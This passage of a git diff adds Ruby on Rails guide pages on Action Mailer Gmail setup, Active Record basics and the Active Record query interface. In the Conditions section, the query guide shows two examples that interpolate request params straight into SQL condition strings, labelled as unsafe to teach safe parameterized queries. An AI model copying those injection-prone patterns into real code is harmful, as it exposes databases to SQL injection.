+</ruby> + +h4. Action Mailer Configuration for GMail + +Instructions copied from http://http://www.fromjavatoruby.com/2008/11/actionmailer-with-gmail-must-issue.html + +First you must install the +action_mailer_tls+ plugin from http://code.openrain.com/rails/action_mailer_tls/, then all you have to do is configure action mailer. + +<ruby> +ActionMailer::Base.smtp_settings = { + :address => "smtp.gmail.com", + :port => 587, + :domain => "domain.com", + :user_name => "user@domain.com", + :password => "password", + :authentication => :plain +} +</ruby> + +h4. Configure Action Mailer to Recognize HAML Templates + +In +config/environment.rb+, add the following line: + +<ruby> +ActionMailer::Base.register_template_extension('haml') +</ruby> + +h3. Mailer Testing + +By default Action Mailer does not send emails in the test environment. They are just added to the +ActionMailer::Base.deliveries+ array. + +Testing mailers normally involves two things: One is that the mail was queued, and the other one that the email is correct. With that in mind, we could test our example mailer from above like so: + +<ruby> +class UserMailerTest < ActionMailer::TestCase + tests UserMailer + + def test_welcome_email + user = users(:some_user_in_your_fixtures) + + # Send the email, then test that it got queued + email = UserMailer.deliver_welcome_email(user) + assert !ActionMailer::Base.deliveries.empty? + + # Test the body of the sent email contains what we expect it to + assert_equal [@user.email], email.to + assert_equal "Welcome to My Awesome Site", email.subject + assert_match /Welcome to example.com, #{user.first_name}/, email.body + end +end +</ruby> + +In the test we send the email and store the returned object in the +email+ variable. We then ensure that it was sent (the first assert), then, in the second batch of assertions, we ensure that the email does indeed contain the what we expect. + +h3. Changelog + +"Lighthouse ticket":http://rails.lighthouseapp.com/projects/16213/tickets/25 diff --git a/railties/guides/source/active_record_basics.textile b/railties/guides/source/active_record_basics.textile new file mode 100644 index 0000000000..afff892fd4 --- /dev/null +++ b/railties/guides/source/active_record_basics.textile @@ -0,0 +1,135 @@ +h2. Active Record Basics + +This guide will give you a strong grasp of the Active Record pattern and how it can be used with or without Rails. Hopefully, some of the philosophical and theoretical intentions discussed here will also make you a stronger and better developer. + +After reading this guide we hope that you'll be able to: + +* Understand the way Active Record fits into the MVC model. +* Create basic Active Record models and map them with your database tables. +* Use your models to execute CRUD (Create, Read, Update and Delete) database operations. +* Follow the naming conventions used by Rails to make developing database applications easier and obvious. +* Take advantage of the way Active Record maps it's attributes with the database tables' columns to implement your application's logic. +* Use Active Record with legacy databases that do not follow the Rails naming conventions. + +endprologue. + +h3. What's Active Record? + +Rails' ActiveRecord is an implementation of Martin Fowler's "Active Record Design Pattern":http://martinfowler.com/eaaCatalog/activeRecord.html. This pattern is based on the idea of creating relations between the database and the application in the following way: + +* Each database table is mapped to a class. +* Each table column is mapped to an attribute of this class. +* Each instance of this class is mapped to a single row in the database table. + +The definition of the Active Record pattern in Martin Fowler's words: + +??An object that wraps a row in a database table or view, encapsulates the database access, and adds domain logic on that data.?? + +h3. Object Relational Mapping + +The relation between databases and object-oriented software is called ORM, which is short for "Object Relational Mapping". The purpose of an ORM framework is to minimize the mismatch existent between relational databases and object-oriented software. In applications with a domain model, we have objects that represent both the state of the system and the behavior of the real world elements that were modeled through these objects. Since we need to store the system's state somehow, we can use relational databases, which are proven to be an excellent approach to data management. Usually this may become a very hard thing to do, since we need to create an object-oriented model of everything that lives in the database, from simple columns to complicated relations between different tables. Doing this kind of thing by hand is a tedious and error prone job. This is where an ORM framework comes in. + +h3. ActiveRecord as an ORM Framework + +ActiveRecord gives us several mechanisms, being the most important ones the ability to: + +* Represent models. +* Represent associations between these models. +* Represent inheritance hierarchies through related models. +* Validate models before they get recorded to the database. +* Perform database operations in an object-oriented fashion. + +It's easy to see that the Rails Active Record implementation goes way beyond the basic description of the Active Record Pattern. + +h3. Active Record Inside the MVC Model + +Active Record plays the role of model inside the MVC structure followed by Rails applications. Since model objects should encapsulate both state and logic of your applications, it's ActiveRecord responsibility to deliver you the easiest possible way to recover this data from the database. + +h3. Convention over Configuration in ActiveRecord + +When writing applications using other programming languages or frameworks, it may be necessary to write a lot of configuration code. This is particularly true for ORM frameworks in general. However, if you follow the conventions adopted by Rails, you'll need to write very little configuration (in some case no configuration at all) when creating ActiveRecord models. The idea is that if you configure your applications in the very same way most of the times then this should be the default way. In this cases, explicit configuration would be needed only in those cases where you can't follow the conventions for any reason. + +h4. Naming Conventions + +By default, ActiveRecord uses some naming conventions to find out how the mapping between models and database tables should be created. Rails will pluralize your class names to find the respective database table. So, for a class +Book+, you should have a database table called *books*. The Rails pluralization mechanisms are very powerful, being capable to pluralize (and singularize) both regular and irregular words. When using class names composed of two or more words, the model class name should follow the Ruby conventions, using the camelCase form, while the table name must contain the words separated by underscores. Examples: + +* Database Table - Plural with underscores separating words i.e. (book_clubs) +* Model Class - Singular with the first letter of each word capitalized i.e. (BookClub) + +|_.Model / Class |_.Table / Schema | +|Post |posts| +|LineItem |line_items| +|Deer |deer| +|Mouse |mice| +|Person |people| + + +h4. Schema Conventions + +ActiveRecord uses naming conventions for the columns in database tables, depending on the purpose of these columns. + +* *Foreign keys* - These fields should be named following the pattern table_id i.e. (item_id, order_id). These are the fields that ActiveRecord will look for when you create associations between your models. +* *Primary keys* - By default, ActiveRecord will use a integer column named "id" as the table's primary key. When using "Rails Migrations":http://guides.rails.info/migrations.html to create your tables, this column will be automatically created. + +There are also some optional column names that will create additional features to ActiveRecord instances: + +* *created_at / created_on* - ActiveRecord will store the current date and time to this field when creating the record. +* *updated_at / updated_on* - ActiveRecord will store the current date and times to this field when updating the record. +* *lock_version* - Adds "optimistic locking":http://api.rubyonrails.com/classes/ActiveRecord/Locking.html to a model. +* *type* - Specifies that the model uses "Single Table Inheritance":http://api.rubyonrails.com/classes/ActiveRecord/Base.html +* *(table_name)_count* - Used to cache the number of belonging objects on associations. For example, a +comments_count+ column in a +Post+ class that has many instances of +Comment+ will cache the number of existent comments for each post. + +NOTE: While these column names are optional they are in fact reserved by ActiveRecord. Steer clear of reserved keywords unless you want the extra functionality. For example, "type" is a reserved keyword used to designate a table using Single Table Inheritance. If you are not using STI, try an analogous keyword like "context", that may still accurately describe the data you are modeling. + +h3. Creating ActiveRecord Models + +It's very easy to create ActiveRecord models. All you have to do is to subclass the ActiveRecord::Base class and you're good to go: + +<ruby> +class Product < ActiveRecord::Base; end +</ruby> + +This will create a +Product+ model, mapped to a *products* table at the database. By doing this you'll also have the ability to map the columns of each row in that table with the attributes of the instances of your model. So, suppose that the *products* table was created using a SQL sentence like: + +<sql> +CREATE TABLE products ( + id int(11) NOT NULL auto_increment, + name varchar(255), + PRIMARY KEY (id) +); +</sql> + +Following the table schema above, you would be able to write code like the following: + +<ruby> +p = Product.new +p.name = "Some Book" +puts p.name # "Some Book" +</ruby> + +h3. Overriding the Naming Conventions + +What if you need to follow a different naming convention or need to use your Rails application with a legacy database? No problem, you can easily override the default conventions. + +You can use the +ActiveRecord::Base.set_table_name+ method to specify the table name that should be used: +<ruby> +class Product < ActiveRecord::Base + set_table_name "PRODUCT" +end +</ruby> + +It's also possible to override the column that should be used as the table's primary key. Use the +ActiveRecord::Base.set_primary_key+ method for that: +<ruby> +class Product < ActiveRecord::Base + set_primary_key "product_id" +end +</ruby> + +h3. Validations + +ActiveRecord gives the ability to validate the state of your models before they get recorded into the database. There are several methods that you can use to hook into the life-cycle of your models and validate that an attribute value is not empty or follow a specific format and so on. You can learn more about validations in the "Active Record Validations and Callbacks guide":http://guides.rails.info/activerecord_validations_callbacks.html#_overview_of_activerecord_validation. + +h3. Callbacks + +ActiveRecord callbacks allow you to attach code to certain events in the life-cycle of your models. This way you can add behavior to your models by transparently executing code when those events occur, like when you create a new record, update it, destroy it and so on. You can learn more about callbacks in the "Active Record Validations and Callbacks guide":http://guides.rails.info/activerecord_validations_callbacks.html#_callbacks. + diff --git a/railties/guides/source/active_record_querying.textile b/railties/guides/source/active_record_querying.textile new file mode 100644 index 0000000000..b112c4f5fb --- /dev/null +++ b/railties/guides/source/active_record_querying.textile @@ -0,0 +1,968 @@ +h2. Active Record Query Interface + +This guide covers different ways to retrieve data from the database using Active Record. By referring to this guide, you will be able to: + +* Find records using a variety of methods and conditions +* Specify the order, retrieved attributes, grouping, and other properties of the found records +* Use eager loading to reduce the number of database queries needed for data retrieval +* Use dynamic finders methods +* Create named scopes to add custom finding behavior to your models +* Check for the existence of particular records +* Perform various calculations on Active Record models + +endprologue. + +If you're used to using raw SQL to find database records then, generally, you will find that there are better ways to carry out the same operations in Rails. Active Record insulates you from the need to use SQL in most cases. + +Code examples throughout this guide will refer to one or more of the following models: + +TIP: All of the following models uses +id+ as the primary key, unless specified otherwise. + +<br /> + +<ruby> +class Client < ActiveRecord::Base + has_one :address + has_one :mailing_address + has_many :orders + has_and_belongs_to_many :roles +end +</ruby> + +<ruby> +class Address < ActiveRecord::Base + belongs_to :client +end +</ruby> + +<ruby> +class MailingAddress < Address +end +</ruby> + +<ruby> +class Order < ActiveRecord::Base + belongs_to :client, :counter_cache => true +end +</ruby> + +<ruby> +class Role < ActiveRecord::Base + has_and_belongs_to_many :clients +end +</ruby> + +Active Record will perform queries on the database for you and is compatible with most database systems (MySQL, PostgreSQL and SQLite to name a few). Regardless of which database system you're using, the Active Record method format will always be the same. + +h3. Retrieving Objects from the Database + +To retrieve objects from the database, Active Record provides a class method called +Model.find+. This method allows you to pass arguments into it to perform certain queries on your database without the need of writing raw SQL. + +Primary operation of <tt>Model.find(options)</tt> can be summarized as: + +* Convert the supplied options to an equivalent SQL query. +* Fire the SQL query and retrieve the corresponding results from the database. +* Instantiate the equivalent Ruby object of the appropriate model for every resulting row. +* Run +after_find+ callbacks if any. + +h4. Retrieving a Single Object + +Active Record lets you retrieve a single object using three different ways. + +h5. Using a Primary Key + +Using <tt>Model.find(primary_key, options = nil)</tt>, you can retrieve the object corresponding to the supplied _primary key_ and matching the supplied options (if any). For example: + +<ruby> +# Find the client with primary key (id) 10. +client = Client.find(10) +=> #<Client id: 10, name: => "Ryan"> +</ruby> + +SQL equivalent of the above is: + +<sql> +SELECT * FROM clients WHERE (clients.id = 10) +</sql> + +<tt>Model.find(primary_key)</tt> will raise an +ActiveRecord::RecordNotFound+ exception if no matching record is found. + +h5. +first+ + +<tt>Model.first(options = nil)</tt> finds the first record matched by the supplied options. If no +options+ are supplied, the first matching record is returned. For example: + +<ruby> +client = Client.first +=> #<Client id: 1, name: => "Lifo"> +</ruby> + +SQL equivalent of the above is: + +<sql> +SELECT * FROM clients LIMIT 1 +</sql> + +<tt>Model.first</tt> returns +nil+ if no matching record is found. No exception will be raised. + +NOTE: +Model.find(:first, options)+ is equivalent to +Model.first(options)+ + +h5. +last+ + +<tt>Model.last(options = nil)</tt> finds the last record matched by the supplied options. If no +options+ are supplied, the last matching record is returned. For example: + +<ruby> +client = Client.last +=> #<Client id: 221, name: => "Russel"> +</ruby> + +SQL equivalent of the above is: + +<sql> +SELECT * FROM clients ORDER BY clients.id DESC LIMIT 1 +</sql> + +<tt>Model.last</tt> returns +nil+ if no matching record is found. No exception will be raised. + +NOTE: +Model.find(:last, options)+ is equivalent to +Model.last(options)+ + +h4. Retrieving Multiple Objects + +h5. Using Multiple Primary Keys + +<tt>Model.find(array_of_primary_key, options = nil)</tt> also accepts an array of _primary keys_. An array of all the matching records for the supplied _primary keys_ is returned. For example: + +<ruby> +# Find the clients with primary keys 1 and 10. +client = Client.find(1, 10) # Or even Client.find([1, 10]) +=> [#<Client id: 1, name: => "Lifo">, #<Client id: 10, name: => "Ryan">] +</ruby> + +SQL equivalent of the above is: + +<sql> +SELECT * FROM clients WHERE (clients.id IN (1,10)) +</sql> + +<tt>Model.find(array_of_primary_key)</tt> will raise an +ActiveRecord::RecordNotFound+ exception unless a matching record is found for <strong>all</strong> of the supplied primary keys. + +h5. Find all + +<tt>Model.all(options = nil)</tt> finds all the records matching the supplied +options+. If no +options+ are supplied, all rows from the database are returned. + +<ruby> +# Find all the clients. +clients = Client.all +=> [#<Client id: 1, name: => "Lifo">, #<Client id: 10, name: => "Ryan">, #<Client id: 221, name: => "Russel">] +</ruby> + +And the equivalent SQL is: + +<sql> +SELECT * FROM clients +</sql> + +<tt>Model.all</tt> returns an empty array +[]+ if no matching record is found. No exception will be raised. + +NOTE: +Model.find(:all, options)+ is equivalent to +Model.all(options)+ + +h4. Retrieving Multiple Objects in Batches + +Sometimes you need to iterate over a large set of records. For example to send a newsletter to all users, to export some data, etc. + +The following may seem very straight forward at first: + +<ruby> +# Very inefficient when users table has thousands of rows. +User.all.each do |user| + NewsLetter.weekly_deliver(user) +end +</ruby> + +But if the total number of rows in the table is very large, the above approach may vary from being under performant to just plain impossible. + +This is because +User.all+ makes Active Record fetch _the entire table_, build a model object per row, and keep the entire array in the memory. Sometimes that is just too many objects and demands too much memory. + +h5. +find_each+ + +To efficiently iterate over a large table, Active Record provides a batch finder method called +find_each+: + +<ruby> +User.find_each do |user| + NewsLetter.weekly_deliver(user) +end +</ruby> + +*Configuring the batch size* + +Behind the scenes +find_each+ fetches rows in batches of +1000+ and yields them one by one. The size of the underlying batches is configurable via the +:batch_size+ option. + +To fetch +User+ records in batch size of +5000+: + +<ruby> +User.find_each(:batch_size => 5000) do |user| + NewsLetter.weekly_deliver(user) +end +</ruby> + +*Starting batch find from a specific primary key* + +Records are fetched in ascending order on the primary key, which must be an integer. The +:start+ option allows you to configure the first ID of the sequence if the lowest is not the one you need. This may be useful for example to be able to resume an interrupted batch process if it saves the last processed ID as a checkpoint. + +To send newsletters only to users with the primary key starting from +2000+: + +<ruby> +User.find_each(:batch_size => 5000, :start => 2000) do |user| + NewsLetter.weekly_deliver(user) +end +</ruby> + +*Additional options* + ++find_each+ accepts the same options as the regular +find+ method. However, +:order+ and +:limit+ are needed internally and hence not allowed to be passed explicitly. + +h5. +find_in_batches+ + +You can also work by chunks instead of row by row using +find_in_batches+. This method is analogous to +find_each+, but it yields arrays of models instead: + +<ruby> +# Works in chunks of 1000 invoices at a time. +Invoice.find_in_batches(:include => :invoice_lines) do |invoices| + export.add_invoices(invoices) +end +</ruby> + +The above will yield the supplied block with +1000+ invoices every time. + +h3. Conditions + +The +find+ method allows you to specify conditions to limit the records returned, representing the +WHERE+-part of the SQL statement. Conditions can either be specified as a string, array, or hash. + +h4. Pure String Conditions + +If you'd like to add conditions to your find, you could just specify them in there, just like +Client.first(:conditions => "orders_count = '2'")+. This will find all clients where the +orders_count+ field's value is 2. + +WARNING: Building your own conditions as pure strings can leave you vulnerable to SQL injection exploits. For example, +Client.first(:conditions => "name LIKE '%#{params[:name]}%'")+ is not safe. See the next section for the preferred way to handle conditions using an array. + +h4. Array Conditions + +Now what if that number could vary, say as a argument from somewhere, or perhaps from the user's level status somewhere? The find then becomes something like: + +<ruby> +Client.first(:conditions => ["orders_count = ?", params[:orders]]) +</ruby> + +Active Record will go through the first element in the conditions value and any additional elements will replace the question marks +(?)+ in the first element. + +Or if you want to specify two conditions, you can do it like: + +<ruby> +Client.first(:conditions => ["orders_count = ? AND locked = ?", params[:orders], false]) +</ruby> + +In this example, the first question mark will be replaced with the value in +params[:orders]+ and the second will be replaced with the SQL representation of +false+, which depends on the adapter. + +The reason for doing code like: + +<ruby> +Client.first(:conditions => ["orders_count = ?", params[:orders]]) +</ruby> + +instead of: + +<ruby> +Client.first(:conditions => "orders_count = #{params[:orders]}") +</ruby> + +is because of argument safety. Putting the variable directly into the conditions string will pass the variable to the database *as-is*. This means that it will be an unescaped variable directly from a user who may have malicious intent. If you do this, you put your entire database at risk because once a user finds out he or she can exploit your database they can do just about anything to it. Never ever put your arguments directly inside the conditions string. + +TIP: For more information on the dangers of SQL injection, see the "Ruby on Rails Security Guide":security.html#sql-injection. + +h5. Placeholder Conditions + +Similar to the +(?)+ replacement style of params, you can also specify keys/values hash in your array conditions: + +<ruby> +Client.all(:conditions => + ["created_at >= :start_date AND created_at <= :end_date", { :start_date => params[:start_date], :end_date => params[:end_date] }]) +</ruby> + +This makes for clearer readability if you have a large number of variable conditions. + +h5. Range Conditions + +If you're looking for a range inside of a table (for example, users created in a certain timeframe) you can use the conditions option coupled with the +IN+ SQL statement for this. If you had two dates coming in from a controller you could do something like this to look for a range: + +<ruby> +Client.all(:conditions => ["created_at IN (?)", + (params[:start_date].to_date)..(params[:end_date].to_date)]) +</ruby> + +This would generate the proper query which is great for small ranges but not so good for larger ranges. For example if you pass in a range of date objects spanning a year that's 365 (or possibly 366, depending on the year) strings it will attempt to match your field against. + +<sql> +SELECT * FROM users WHERE (created_at IN + ('2007-12-31','2008-01-01','2008-01-02','2008-01-03','2008-01-04','2008-01-05', + '2008-01-06','2008-01-07','2008-01-08','2008-01-09','2008-01-10','2008-01-11', + '2008-01-12','2008-01-13','2008-01-14','2008-01-15','2008-01-16','2008-01-17', + '2008-01-18','2008-01-19','2008-01-20','2008-01-21','2008-01-22','2008-01-23',... + ‘2008-12-15','2008-12-16','2008-12-17','2008-12-18','2008-12-19','2008-12-20', + '2008-12-21','2008-12-22','2008-12-23','2008-12-24','2008-12-25','2008-12-26', + '2008-12-27','2008-12-28','2008-12-29','2008-12-30','2008-12-31')) +</sql> + +h5. Time and Date Conditions + +Things can get *really* messy if you pass in Time objects as it will attempt to compare your field to *every second* in that range: + +<ruby> +Client.all(:conditions => ["created_at IN (?)", + (params[:start_date].to_date.to_time)..(params[:end_date].to_date.to_time)]) +</ruby> + +<sql> +SELECT * FROM users WHERE (created_at IN + ('2007-12-01 00:00:00', '2007-12-01 00:00:01' ... + '2007-12-01 23:59:59', '2007-12-02 00:00:00')) +</sql> + +This could possibly cause your database server to raise an unexpected error, for example MySQL will throw back this error: + +<shell> +Got a packet bigger than 'max_allowed_packet' bytes: _query_ +</shell> + +Where _query_ is the actual query used to get that error. + +In this example it would be better to use greater-than and less-than operators in SQL, like so: + +<ruby> +Client.all(:conditions => + ["created_at > ? AND created_at < ?", params[:start_date], params[:end_date]]) +</ruby> + +You can also use the greater-than-or-equal-to and less-than-or-equal-to like this: + +<ruby> +Client.all(:conditions => + ["created_at >= ? AND created_at <= ?", params[:start_date], params[:end_date]]) +</ruby> + +Just like in Ruby. If you want a shorter syntax be sure to check out the "Hash Conditions":#hash-conditions section later on in the guide. + +h4. Hash Conditions + +Active Record also allows you to pass in a hash conditions which can increase the readability of your conditions syntax. With hash conditions, you pass in a hash with keys of the fields you want conditionalised and the values of how you want to conditionalise them: + +NOTE: Only equality, range and subset checking are possible with Hash conditions. + +h5. Equality Conditions + +<ruby> +Client.all(:conditions => { :locked => true }) +</ruby> + +The field name does not have to be a symbol it can also be a string: + +<ruby> +Client.all(:conditions => { 'locked' => true }) +</ruby> + +h5. Range Conditions + +The good thing about this is that we can pass in a range for our fields without it generating a large query as shown in the preamble of this section. + +<ruby> +Client.all(:conditions => { :created_at => (Time.now.midnight - 1.day)..Time.now.midnight}) +</ruby> + +This will find all clients created yesterday by using a +BETWEEN+ SQL statement: + +<sql> +SELECT * FROM clients WHERE (clients.created_at BETWEEN '2008-12-21 00:00:00' AND '2008-12-22 00:00:00') +</sql> + +This demonstrates a shorter syntax for the examples in "Array Conditions":#array-conditions + +h5. Subset Conditions + +If you want to find records using the +IN+ expression you can pass an array to the conditions hash: + +<ruby> +Client.all(:conditions => { :orders_count => [1,3,5] }) +</ruby> + +This code will generate SQL like this: + +<sql> +SELECT * FROM clients WHERE (clients.orders_count IN (1,3,5)) +</sql> + +h3. Find Options + +Apart from +:conditions+, +Model.find+ takes a variety of other options via the options hash for customizing the resulting record set. + +<ruby> +Model.find(id_or_array_of_ids, options_hash) +Model.find(:last, options_hash) +Model.find(:first, options_hash) + +Model.first(options_hash) +Model.last(options_hash) +Model.all(options_hash) +</ruby> + +The following sections give a top level overview of all the possible keys for the +options_hash+. + +h4. Ordering + +To retrieve records from the database in a specific order, you can specify the +:order+ option to the +find+ call. + +For example, if you're getting a set of records and want to order them in ascending order by the +created_at+ field in your table: + +<ruby> +Client.all(:order => "created_at") +</ruby> + +You could specify +ASC+ or +DESC+ as well: + +<ruby> +Client.all(:order => "created_at DESC") +# OR +Client.all(:order => "created_at ASC") +</ruby> + +Or ordering by multiple fields: + +<ruby> +Client.all(:order => "orders_count ASC, created_at DESC") +</ruby> + +h4. Selecting Specific Fields + +By default, <tt>Model.find</tt> selects all the fields from the result set using +select *+. + +To select only a subset of fields from the result set, you can specify the subset via +:select+ option on the +find+. + +NOTE: If the +:select+ option is used, all the returning objects will be "read only":#readonly-objects. + +<br /> + +For example, to select only +viewable_by+ and +locked+ columns: + +<ruby> +Client.all(:select => "viewable_by, locked") +</ruby> + +The SQL query used by this find call will be somewhat like: + +<sql> +SELECT viewable_by, locked FROM clients +</sql> + +Be careful because this also means you're initializing a model object with only the fields that you've selected. If you attempt to access a field that is not in the initialized record you'll receive: + +<shell> +ActiveRecord::MissingAttributeError: missing attribute: <attribute> +</shell> + +Where +<attribute>+ is the attribute you asked for. The +id+ method will not raise the +ActiveRecord::MissingAttributeError+, so just be careful when working with associations because they need the +id+ method to function properly. + +You can also call SQL functions within the select option. For example, if you would like to only grab a single record per unique value in a certain field by using the +DISTINCT+ function you can do it like this: + +<ruby> +Client.all(:select => "DISTINCT(name)") +</ruby> + +h4. Limit and Offset + +To apply +LIMIT+ to the SQL fired by the +Model.find+, you can specify the +LIMIT+ using +:limit+ and +:offset+ options on the find. + +If you want to limit the amount of records to a certain subset of all the records retrieved you usually use +:limit+ for this, sometimes coupled with +:offset+. Limit is the maximum number of records that will be retrieved from a query, and offset is the number of records it will start reading from from the first record of the set. For example: + +<ruby> +Client.all(:limit => 5) +</ruby> + +This code will return a maximum of 5 clients and because it specifies no offset it will return the first 5 clients in the table. The SQL it executes will look like this: + +<sql> +SELECT * FROM clients LIMIT 5 +</sql> + +Or specifying both +:limit+ and +:offset+: + +<ruby> +Client.all(:limit => 5, :offset => 5) +</ruby> + +This code will return a maximum of 5 clients and because it specifies an offset this time, it will return these records starting from the 5th client in the clients table. The SQL looks like: + +<sql> +SELECT * FROM clients LIMIT 5, 5 +</sql> + +h4. Group + +To apply +GROUP BY+ clause to the SQL fired by the +Model.find+, you can specify the +:group+ option on the find. + +For example, if you want to find a collection of the dates orders were created on: + +<ruby> +Order.all(:group => "date(created_at)", :order => "created_at") +</ruby> + +And this will give you a single +Order+ object for each date where there are orders in the database. + +The SQL that would be executed would be something like this: + +<sql> +SELECT * FROM orders GROUP BY date(created_at) +</sql> + +h4. Having + +SQL uses +HAVING+ clause to specify conditions on the +GROUP BY+ fields. You can specify the +HAVING+ clause to the SQL fired by the +Model.find+ using +:having+ option on the find. + +For example: + +<ruby> +Order.all(:group => "date(created_at)", :having => ["created_at > ?", 1.month.ago]) +</ruby> + +The SQL that would be executed would be something like this: + +<sql> +SELECT * FROM orders GROUP BY date(created_at) HAVING created_at > '2009-01-15' +</sql> + +This will return single order objects for each day, but only for the last month. + +h4. Readonly Objects + +To explicitly disallow modification/destroyal of the matching records returned by +Model.find+, you could specify the +:readonly+ option as +true+ to the find call. + +Any attempt to alter or destroy the readonly records will not succeed, raising an +ActiveRecord::ReadOnlyRecord+ exception. To set this option, specify it like this: + +<ruby> +Client.first(:readonly => true) +</ruby> + +If you assign this record to a variable client, calling the following code will raise an +ActiveRecord::ReadOnlyRecord+ exception: + +<ruby> +client = Client.first(:readonly => true) +client.locked = false +client.save +</ruby> + +h4. Locking Records for Update + +Locking is helpful for preventing the race conditions when updating records in the database and ensuring atomic updated. Active Record provides two locking mechanism: + +* Optimistic Locking +* Pessimistic Locking + +h5. Optimistic Locking + +Optimistic locking allows multiple users to access the same record for edits, and assumes a minimum of conflicts with the data. It does this by checking whether another process has made changes to a record since it was opened. An +ActiveRecord::StaleObjectError+ exception is thrown if that has occurred and the update is ignored. + +<strong>Optimistic locking column</strong> + +In order to use optimistic locking, the table needs to have a column called +lock_version+. Each time the record is updated, Active Record increments the +lock_version+ column and the locking facilities ensure that records instantiated twice will let the last one saved raise an +ActiveRecord::StaleObjectError+ exception if the first was also updated. Example: + +<ruby> +c1 = Client.find(1) +c2 = Client.find(1) + +c1.name = "Michael" +c1.save + +c2.name = "should fail" +c2.save # Raises a ActiveRecord::StaleObjectError +</ruby> + +You're then responsible for dealing with the conflict by rescuing the exception and either rolling back, merging, or otherwise apply the business logic needed to resolve the conflict. + +NOTE: You must ensure that your database schema defaults the +lock_version+ column to +0+. + +<br /> + +This behavior can be turned off by setting <tt>ActiveRecord::Base.lock_optimistically = false</tt>. + +To override the name of the +lock_version+ column, +ActiveRecord::Base+ provides a class method called +set_locking_column+: + +<ruby> +class Client < ActiveRecord::Base + set_locking_column :lock_client_column +end +</ruby> + +h5. Pessimistic Locking + +Pessimistic locking uses locking mechanism provided by the underlying database. Passing +:lock => true+ to +Model.find+ obtains an exclusive lock on the selected rows. +Model.find+ using +:lock+ are usually wrapped inside a transaction for preventing deadlock conditions. + +For example: + +<ruby> +Item.transaction do + i = Item.first(:lock => true) + i.name = 'Jones' + i.save +end +</ruby> + +The above session produces the following SQL for a MySQL backend: + +<sql> +SQL (0.2ms) BEGIN +Item Load (0.3ms) SELECT * FROM `items` LIMIT 1 FOR UPDATE +Item Update (0.4ms) UPDATE `items` SET `updated_at` = '2009-02-07 18:05:56', `name` = 'Jones' WHERE `id` = 1 +SQL (0.8ms) COMMIT +</sql> + +You can also pass raw SQL to the +:lock+ option to allow different types of locks. For example, MySQL has an expression called +LOCK IN SHARE MODE+ where you can lock a record but still allow other queries to read it. To specify this expression just pass it in as the lock option: + +<ruby> +Item.transaction do + i = Item.find(1, :lock => "LOCK IN SHARE MODE") + i.increment!(:views) +end +</ruby> + +h3. Joining Tables + +<tt>Model.find</tt> provides a +:joins+ option for specifying +JOIN+ clauses on the resulting SQL. There multiple different ways to specify the +:joins+ option: + +h4. Using a String SQL Fragment + +You can just supply the raw SQL specifying the +JOIN+ clause to the +:joins+ option. For example: + +<ruby> +Client.all(:joins => 'LEFT OUTER JOIN addresses ON addresses.client_id = clients.id') +</ruby> + +This will result in the following SQL: + +<sql> +SELECT clients.* FROM clients LEFT OUTER JOIN addresses ON addresses.client_id = clients.id +</sql> + +h4. Using Array/Hash of Named Associations + +WARNING: This method only works with +INNER JOIN+, + +<br /> + +Active Record lets you use the names of the "associations":association_basics.html defined on the model as a shortcut for specifying the +:joins+ option. + +For example, consider the following +Category+, +Post+, +Comments+ and +Guest+ models: + +<ruby> +class Category < ActiveRecord::Base + has_many :posts +end + +class Post < ActiveRecord::Base + belongs_to :category + has_many :comments + has_many :tags +end + +class Comments < ActiveRecord::Base + belongs_to :post + has_one :guest +end + +class Guest < ActiveRecord::Base + belongs_to :comment +end +</ruby> + +Now all of the following will produce the expected join queries using +INNER JOIN+: + +h5. Joining a Single Association + +<ruby> +Category.all :joins => :posts +</ruby> + +This produces: + +<sql> +SELECT categories.* FROM categories + INNER JOIN posts ON posts.category_id = categories.id +</sql> + +h5. Joining Multiple Associations + +<ruby> +Post.all :joins => [:category, :comments] +</ruby> + +This produces: + +<sql> +SELECT posts.* FROM posts + INNER JOIN categories ON posts.category_id = categories.id + INNER JOIN comments ON comments.post_id = posts.id +</sql> + +h5. Joining Nested Associations (Single Level) + +<ruby> +Post.all :joins => {:comments => :guest} +</ruby> + +h5. Joining Nested Associations (Multiple Level) + +<ruby> +Category.all :joins => {:posts => [{:comments => :guest}, :tags]} +</ruby> + +h4. Specifying Conditions on the Joined Tables + +You can specify conditions on the joined tables using the regular "Array":#array-conditions and "String":#pure-string-conditions conditions. "Hash conditions":#hash-conditions provides a special syntax for specifying conditions for the joined tables: + +<ruby> +time_range = (Time.now.midnight - 1.day)..Time.now.midnight +Client.all :joins => :orders, :conditions => {'orders.created_at' => time_range} +</ruby> + +An alternative and cleaner syntax to this is to nest the hash conditions: + +<ruby> +time_range = (Time.now.midnight - 1.day)..Time.now.midnight +Client.all :joins => :orders, :conditions => {:orders => {:created_at => time_range}} +</ruby> + +This will find all clients who have orders that were created yesterday, again using a +BETWEEN+ SQL expression. + +h3. Eager Loading Associations + +Eager loading is the mechanism for loading the associated records of the objects returned by +Model.find+ using as few queries as possible. + +<strong>N <plus> 1 queries problem</strong> + +Consider the following code, which finds 10 clients and prints their postcodes: + +<ruby> +clients = Client.all(:limit => 10) + +clients.each do |client| + puts client.address.postcode +end +</ruby> + +This code looks fine at the first sight. But the problem lies within the total number of queries executed. The above code executes 1 ( to find 10 clients ) <plus> 10 ( one per each client to load the address ) = <strong>11</strong> queries in total. + +<strong>Solution to N <plus> 1 queries problem</strong> + +Active Record lets you specify all the associations in advanced that are going to be loaded. This is possible by specifying the +:include+ option of the +Model.find+ call. By +:include+, Active Record ensures that all the specified associations are loaded using minimum possible number of queries. + +Revisiting the above case, we could rewrite +Client.all+ to use eager load addresses: + +<ruby> +clients = Client.all(:include => :address, :limit => 10) + +clients.each do |client| + puts client.address.postcode +end +</ruby> + +The above code will execute just <strong>2</strong> queries, as opposed to <strong>11</strong> queries in the previous case: + +<sql> +SELECT * FROM clients +SELECT addresses.* FROM addresses + WHERE (addresses.client_id IN (1,2,3,4,5,6,7,8,9,10)) +</sql> + +h4. Eager Loading Multiple Associations + +Active Record lets you eager load any possible number of associations with a single +Model.find+ call by using an array, hash, or a nested hash of array/hash with the +:include+ option. + +h5. Array of Multiple Associations + +<ruby> +Post.all :include => [:category, :comments] +</ruby> + +This loads all the posts and the associated category and comments for each post. + +h5. Nested Associations Hash + +<ruby> +Category.find 1, :include => {:posts => [{:comments => :guest}, :tags]} +</ruby> + +The above code finds the category with id 1 and eager loads all the posts associated with the found category. Additionally, it will also eager load every posts' tags and comments. Every comment's guest association will get eager loaded as well. + +h4. Specifying Conditions on Eager Loaded Associations + +Even though Active Record lets you specify conditions on the eager loaded associations just like +:joins+, the recommended way is to use ":joins":#joining-tables instead. + +h3. Dynamic Finders + +For every field (also known as an attribute) you define in your table, Active Record provides a finder method. If you have a field called +name+ on your +Client+ model for example, 